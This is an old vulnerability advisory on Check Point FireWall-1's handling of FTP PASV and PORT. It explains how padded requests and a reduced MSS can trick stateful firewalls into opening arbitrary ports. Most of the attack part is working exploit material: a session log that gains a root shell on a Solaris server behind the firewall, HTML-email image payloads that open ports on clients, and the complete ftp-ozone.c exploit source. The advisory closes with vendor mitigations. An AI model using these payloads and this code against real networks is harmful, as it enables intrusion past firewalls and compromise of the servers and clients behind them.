COMMAND
Firewall-1
SYSTEMS AFFECTED
Firewall-1
PROBLEM
Following text by Mikael Olsson will be used as introduction for
something more by John McDonald. The low-down of it is fooling a
firewall into opening "a TCP port of your choice" against an FTP
server. Or, if you're running an evil FTP server, having it open
ports against clients accessing the server.
There are several "flaws" and assumption in this idea, so it is
likely to NOT work with several FTP servers and firewalls. On
the other hand, it might work with some. Now, the idea.
Assume we're accessing an FTP server that is protected by a
firewall of some kind. The firewall is monitoring our command
channel, port 21, for "PASV" messages sent by the server. Upon
receipt of such messages, it will open a channel to the port
number specified in the message. Now, what if we'd be able to
send fake "PASV" message to the server, and have it echo them out
through the firewall? We'd be able to access arbitrary TCP ports
on the FTP server. (23, 139, 6000?)
Breaking through a stateful inspection FTP ALG
----------------------------------------------
One if the ideas has to do with stateful inspection firewalls.
Most of them don't reassemble the connection completely, but
rather trust that the FTP server will send the "PASV" message as
the first string in a new packet - this is usually what will
happen? What if we "get" a file called
AAAAAAA[about 100 A]AAAAPASV 123, 123, 123, 123, 0, 139
where "123, 123, 123, 123" is the public address of the FTP
server. It is somewhat likely that the FTP server will send us
an error message stating that this file name is illegal. Now,
WHAT if we were to decrease the TCP MSS in this connection (easily
done) to something like.... 100 bytes?
Wouldn't we be able to calculate just how many 'A's we'd have
to add to the beginning of the file name until the "PASV" command
becomes the first string in the packet following the error message
with all the 'A's ?
Wouldn't the firewall then obey our fake PASV command that the
server just echoed for us? Of course, you might get lots of
garbage after the echoed PASV command, like a trailing quote
and maybe bits and pieces of the error message. But that
might not matter (assuming that the firewall simply does
something along the lines of sscanf() to get the parameters after
having found the "PASV" text in the beginning of the packet).
This all assumes that the firewall isn't completely reassembling
the stream, but rather looking at the contents of individual
packets.
Breaking through a "proxy" FTP ALG
----------------------------------
There's another case here, and that is where the firewall
completely reassembles the TCP stream before analyzing it. Call
it a "proxy", call it whatever. This is a LOT harder, but it
could maybe work with some FTP servers?
You'd have to be able to coax the FTP server into sending
multiple lines (CRLF terminated) in order to have it look like a
real PASV command. You might also have to mimic a legitimate GET
request from the client before having the firewall accept the PASV
command from the server. As said, this is nowhere near easy, but
someone will come up with an FTP server that can be coaxed into
doing this, and a way to fool the firewall.
Breaking through to a client
----------------------------
This is not as feasible an attack. You'd have to have an FTP
server of your own, and make people connect to it. (As if this
can't be done by mailing HTML mail to people containing an IMG
SRC pointing to an FTP location?) Anyhow, applying all the theory
above with different types of firewall, it ought to be possible to
make the client echo bogus "PORT" commands, which the firewall
would interpret and result in ports being opened through the
firewall.
This is nowhere near as likely as the server cases above. It is
a lot more likely that you might coax a server into echoing
things than fooling a client into echoing things.
Btw, another thing about the server cases above. If the firewall
accepts any IP address in the PASV command from the server, not
just the address of the FTP server itself, you might be able to
fool the firewall into opening holes to pretty much any server
and port behind it (long shot).
John McDonald based on above added following. The basic idea of
the described attack is to subvert the security policy implemented
by a stateful firewall. This is done by triggering the generation
of a TCP packet that, when inspected by the firewall, will change
the firewall's internal state such that an attacker is able to
establish a TCP connection to a filtered port through the
firewall. This packet is the server response to a PASV user
request during a FTP session. He has also come across this
attack, and were in the process of preparing a more comprehensive
advisory, including other FireWall-1 security issues he has
documented. The idea was to notify Check Point of these problems
and give them time to develop a software update. However, since
the general form of this vulnerability was independently
documented by Mikael Olsson he did that earlier that planned.
Check Point FireWall-1 is vulnerable to an attack involving the
stateful support for the FTP protocol, specifically the handling
of the PASV command. Typically, a user will send an FTP server
the PASV command, and the response from the FTP server will be
the 227 message specifying to which destination IP address and
destination port the client is expected to connect for the next
data connection.
FireWall-1 monitors the packets sent from the FTP server to the
client, looking for the string "227 " at the beginning of each
packet. Upon a match, FireWall-1 will extract the destination IP
address and the destination port given in the packet payload,
verify that the specified IP address corresponds to the source
address of the packet, and allow an incoming TCP connection
through the firewall according to the destination IP address and
the destination port extracted from the datagram.
There are several restrictions on this connection which limit its
utility. Data can only travel in one direction and it cannot be
to a port that is listed in FireWall-1's list of well-known TCP
services. It is important to note that FireWall-1 version 3 does
not have this limitation, connections can be made to any port, and
the flow of data is not managed.
In order to trick FireWall-1 into allowing a connection to a port
on the FTP server, we must have the server send the "227 " string
as the first four bytes in a packet that, according to its source
port, belongs to a FTP control connection. We can typically
accomplish this by using the error handler of the FTP daemon,
in conjunction with limiting the MSS of our TCP connection.
This is easy to do by setting the MTU of our interface to a small
value we can work with, before we establish a control connection
to the victim FTP server. This causes the return packets from
the server to be smaller, allowing us to control more easily how
data is split into packets. Thus, we can make the "227 " message
returned by the error handler appear at the beginning of a packet.
Another way to accomplish this would be to ACK up to the message
we want to receive, and then have the server retransmit the data
we want to be contained in an isolated packet.
Here is an example of an attack based on this technique. There is
a FireWall-1 machine between gumpe and the 172.16.0.2 server,
which only permits incoming FTP connections. 172.16.0.2 is a
default Solaris 2.6 install, with the Tooltalk Database
vulnerability. We send the datagram directly to the service's
TCP port, in spite of this port being blocked by the firewall.
Note that since there is no response expected, the one-way
restriction doesn't affect this attack.
All testings were done on a Nokia IPSO machine running FW-1
version 4.0.SP-4.
[root@gumpe /root]# strings hackfile
localhost
""""3333DDDD/bin/ksh.-c.cp /usr/sbin/in.ftpd /tmp/in.ftpd.back ; rm -f
/usr/sbin/in.ftpd ; cp /bin/sh /usr/sbin/in.ftpd
[root@gumpe /root]# /sbin/ifconfig eth0 mtu 100
[root@gumpe /root]# nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
220 sol FTP server (SunOS 5.6) ready.
...........................................227 (172,16,0,2,128,7)
500 '...........................................
[1]+ Stopped nc -vvv 172.16.0.2 21
[root@gumpe /root]# cat killfile | nc -vv 172.16.0.2 32775
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 32775 (?) open
sent 80, rcvd 0
[root@gumpe /root]# nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
220 sol FTP server (SunOS 5.6) ready.
...........................................227 (172,16,0,2,128,7)
500 '...........................................
[2]+ Stopped nc -vvv 172.16.0.2 21
[root@gumpe /root]# cat hackfile | nc -vv 172.16.0.2 32775
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 32775 (?) open
sent 1168, rcvd 0
[root@gumpe /root]# nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
id
uid=0(root) gid=0(root)
There is an easier way to perform a similar attack on this setup,
since the default Solaris FTP daemon allows a bounce attack, but
this should suffice to demonstrate the potential severity of this
problem.
So, if you have a FTP server behind a FireWall-1, it is possible
for an attacker to open TCP connections to certain ports on the
machine, and perform limited communication with those services.
If you are running FireWall-1 version 3, you should consider your
FTP server to have no TCP filtering. Solving this problem is
inherently difficult, but there are simple steps to take to
minimize this risk. If the machine is properly hardened, i.e. if
there are no services available on it, apart from FTP, this makes
this vulnerability have little significance.
Some proxy based firewalls have problems with this bug, and even
more so than packet inspecting firewalls. Proxy based firewalls
looks at the FTP protocol TCP stream and doesn't usually care
about packet boundaries. The reply from wuftpd STAT can be
forged to look like a seeminly valid FTP control reply.
For those of you not tired of the discussion about the "Multiple
Firewalls FTP PASV ALG Vulnerability", here's another take, but
this time we'll attempt to break through to internal clients
protected by firewalls with bad application layer filters.
Basic idea : how to open arbitrary ports against a client
=========================================================
* Send a HTML email to an HTML-enabled mail reader containing the
tag
<img src="ftp://ftp.rooted.com/aaaa[lots of A]aaaPORT 1,2,3,4,0,139">
You could also conceivably plant a web page somewhere on a
server containing this link.
* Balance the number of A so that the PORT command will begin on a
new packet boundary. This may also be done by having the
server use a low TCP MSS to decrease the number of A's that one
has to add.
* The firewall in question will incorrectly parse the resulting
RETR /aaaaaaaa[....]aaaaaPORT 1,2,3,4,0,139
as first a RETR command and then a PORT command and open port
139 against your address (1.2.3.4 in this case)
* Now the server ftp.rooted.com can connect to the client on port
139. Ouch.
Before you ask: no, it does not have to be port 139. It can be
any port. Some firewalls disallow "known server ports" for these
connections; such ports cannot be used, but there are plenty other
ports that can be used in such cases.
Address translation playing games
=================================
You have to know the IP address of the client in order to fool the
firewall into opening the port. If the client is not dynamically
NATed, this is easy. If the client IS dynamically NATed, this is
a bit harder.
How to make it work through address translation
===============================================
There are several ways to figure out what the private address is.
Here's two:
* Send an email to the address in question containing an
<img src ftp://ftp.rooted.com:23456>
and hope that the firewall won't realise that port 23456 is
FTP. PORT commands won't be translated this way, so the private
IP adress will be exposed. This assumes that 23456 is allowed
through the firewall and that it won't attempt to parse FTP
command data on that port.
* Send an email with a link to a web page that contains javascript
that extracts the private IP address and posts it to the server.
The javascript code below works on Netscape (don't know what the
equivalent is for MSIE):
vartool=java.awt.Toolkit.getDefaultToolkit();
addr=java.net.InetAddress.getLocalHost();
ip=addr.getHostAddress();
Once we know about the IP address, we can adjust the img src so
that it is valid for that specific internal client. The dynamic
translation will also likely change the port number opened on the
NAT:ed public address, but that's ok. All we have to do is read
the command packet containing the PORT command, and we'll know
what public address and port to connect to in order to get to
"port 139" of the "protected" client.
What about Checkpoint's FTP PASV fix for FW-1?
==============================================
Checkpoint's fix for FW-1 is to make sure that every packet in
the command stream ends with CRLF (0x0a 0x0d in hex). That would
help against the above attack, but not if we modify it a wee bit:
src="ftp://ftp.rooted.com/aaaaaaa%0a%0dPORT 1,2,3,4,0,139"
Ouch. This WILL work in a browser (erified using a network
sniffer?). The firewall will see this as two separate commands:
RETR aaaaaaaaaa
PORT 1,2,3,4,0,139
which means that poorly implemented proxies are likely to be
vulnerable aswell.
Dug Song added following. Inspecting TCP application data within
individual IP packets is a basic layer violation. Network IDSs
also suffer from this problem, only worse. Fragrouter
demonstrates this nicely. Reassembling the TCP stream will only
get you so far - your proxy still needs to actually implement the
application protocol correctly. Dug released a 'fragproxy' tool
soon to demonstrate this, but for now, an ObLameExploit:
http://www.monkey.org/~dugsong/ftp-ozone.c.txt
Here's the code:
/*
ftp-ozone.c
Demonstrate a basic layer violation in "stateful" firewall
inspection of application data (within IP packets - @#$@#$!):
http://www.checkpoint.com/techsupport/alerts/pasvftp.html
Dug Song <dugsong@monkey.org>
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <setjmp.h>
#define PAD_LEN 128 /* XXX - anything on BSD, but Linux is weird */
#define GREEN "\033[0m\033[01m\033[32m"
#define OFF "\033[0m"
jmp_buf env_buf;
void
usage(void)
{
fprintf(stderr, "Usage: ftp-ozone [-w win] <ftp-server> <port-to-open>\n");
exit(1);
}
u_long
resolve_host(char *host)
{
u_long addr;
struct hostent *hp;
if (host == NULL) return (0);
if ((addr = inet_addr(host)) == -1) {
if ((hp = gethostbyname(host)) == NULL)
return (0);
memcpy((char *)&addr, hp->h_addr, sizeof(addr));
}
return (addr);
}
#define UC(b) (((int)b)&0xff)
int
ftp_pasv_reply(char *buf, int size, u_long ip, u_short port)
{
char *p, *q;
port = htons(port);
p = (char *)&ip;
q = (char *)&port;
return (snprintf(buf, size, "227 (%d,%d,%d,%d,%d,%d)\r\n",
UC(p[0]), UC(p[1]), UC(p[2]), UC(p[3]),
UC(q[0]), UC(q[1])));
}
void handle_timeout(int sig)
{
alarm(0);
longjmp(env_buf, 1);
}
void
read_server_loop(int fd, int timeout, int pretty)
{
char buf[2048];
int rlen;
if (!setjmp(env_buf)) {
signal(SIGALRM, handle_timeout);
alarm(timeout);
for (;;) {
if ((rlen = read(fd, buf, sizeof(buf))) == -1)
break;
if (pretty) {
buf[rlen] = '\0';
if (strncmp(buf, "227 ", 4) == 0)
printf("[" GREEN "%s" OFF "]\n", buf);
else printf("[%s]\n", buf);
}
else write(0, buf, rlen);
}
alarm(0);
}
}
int
main(int argc, char *argv[])
{
int c, fd, win, len;
u_long dst;
u_short dport;
struct sockaddr_in sin;
char buf[1024];
win = PAD_LEN;
while ((c = getopt(argc, argv, "w:h?")) != -1) {
switch (c) {
case 'w':
if ((win = atoi(optarg)) == 0)
usage();
break;
default:
usage();
}
}
argc -= optind;
argv += optind;
if (argc != 2)
usage();
if ((dst = resolve_host(argv[0])) == 0)
usage();
if ((dport = atoi(argv[1])) == 0)
usage();
/* Connect to FTP server. */
memset(&sin, 0, sizeof(sin));
sin.sin_addr.s_addr = dst;
sin.sin_family = AF_INET;
sin.sin_port = htons(21);
if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("socket");
exit(1);
}
if (setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &win, sizeof(win)) == -1) {
perror("setsockopt");
exit(1);
}
if (connect(fd, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
perror("connect");
exit(1);
}
read_server_loop(fd, 10, 0);
/* Send padding. */
len = win - 5; /* XXX - "500 '" */
memset(buf, '.', len);
if (write(fd, buf, len) != len) {
perror("write");
exit(1);
}
/* Send faked reply. */
len = ftp_pasv_reply(buf, sizeof(buf), dst, dport);
if (write(fd, buf, len) != len) {
perror("write");
exit(1);
}
read_server_loop(fd, 5, 1);
printf("[ now try connecting to %s %d ]\n", argv[0], dport);
for (;;) {
;
}
/* NOTREACHED */
exit(0);
}
What follows is a clarification of a statement in the advisory by
John McDonald and Thomas Lopatic. Here is the relevant portion:
"FireWall-1 monitors the packets sent from the FTP server to the
client, looking for the string "227 " at the beginning of each
packet. Upon a match, FireWall-1 will extract the destination
IP address and the destination port given in the packet
payload, verify that the specified IP address corresponds to
the source address of the packet, and allow an incoming TCP
connection through the firewall according to the destination IP
address and the destination port extracted from the datagram."
It then goes on to describe some restrictions on this TCP
connection one of which is that "it cannot be to a port that is
listed in FireWall-1's list of well-known TCP services." This is
true of the default inspect code in the base.defs file. It really
depends on the definition of the NOTSERVER_TCP_PORT macro. If
the macro is modified the behavior changes. This is the reason
for the difference between v3.0 and v4.x that is mentioned in the
original advisory. See
http://www.phoneboy.com/fw1/faq/0106.html
for discussion of a change to NOTSERVER_TCP_PORT that removes the
restriction on ports that are in FW-1's list of TCP services and
as a result only restricts ports <1024. A Nokia machine running
FW-1 4.0 with a base.defs modified according to the phoneboy FAQ
item listed above has been tested and a connection can be made to
any port *not matched* by the NOTSERVER_TCP_PORT macro.
SOLUTION
You can also disable the PASV handling in the FireWall-1 GUI.
However, this breaks your configuration for passive FTP clients.
So, proper hardening is some kind of solution, but not the
solution.
According to CheckPOint minimizing the possible threat:
- Do not enable PASV FTP if not needed
- Use the FTP Security Server or HTTP security server for PASV
FTP connections to internal FTP servers
- Those running publicly accessible FTP servers should follow
good host security practices (e.g., not running additional,
possibly unnecessary and vulnerable services, keeping up
with OS and/or application patches)
- For those using stateful inspection of passive FTP, the
following patch has been supplied
The patch consists of a new $FWDIR/lib/base.def file that includes
a fix to the problem (the file is compatible with Firewall-1 4.0
SP-5, other platforms will be released as soon as possible). The
fix involves an enforcement on the existence of the newline
character at the end of each packet on the FTP control connection,
this will close off the described vulnerability. It should be
noted that this may cause connectivity problems (i.e., blocked FTP
connections) in the following scenarios:
1. If FTP control messages larger than the MTU (e.g., large
PWD) are exchanged
2. If some FTP clients/servers does not put newline at the end
of the line
3. When passing FWZ encrypted traffic through an intermediate
Firewall gateway
The enforcement can be easily disabled by commenting the following
line in the base.def file (or by restoring the original base.def
file): #define FTP_ENFORCE_NL
The patch described above does not sound as though it will 'fix
the problem'. The enforcement of a newline at the end of the
packet might still open the possibility of exploitation through
at least few methods.
Even with the best firewall in the world, you need an ftp server
that implements the FTP protocol correctly before you have a hope
of handling PASV correctly. ALL stateful inspection firewalls
with FTP ALGs that do not reassemble the TCP stream are vulnerable
to this attack.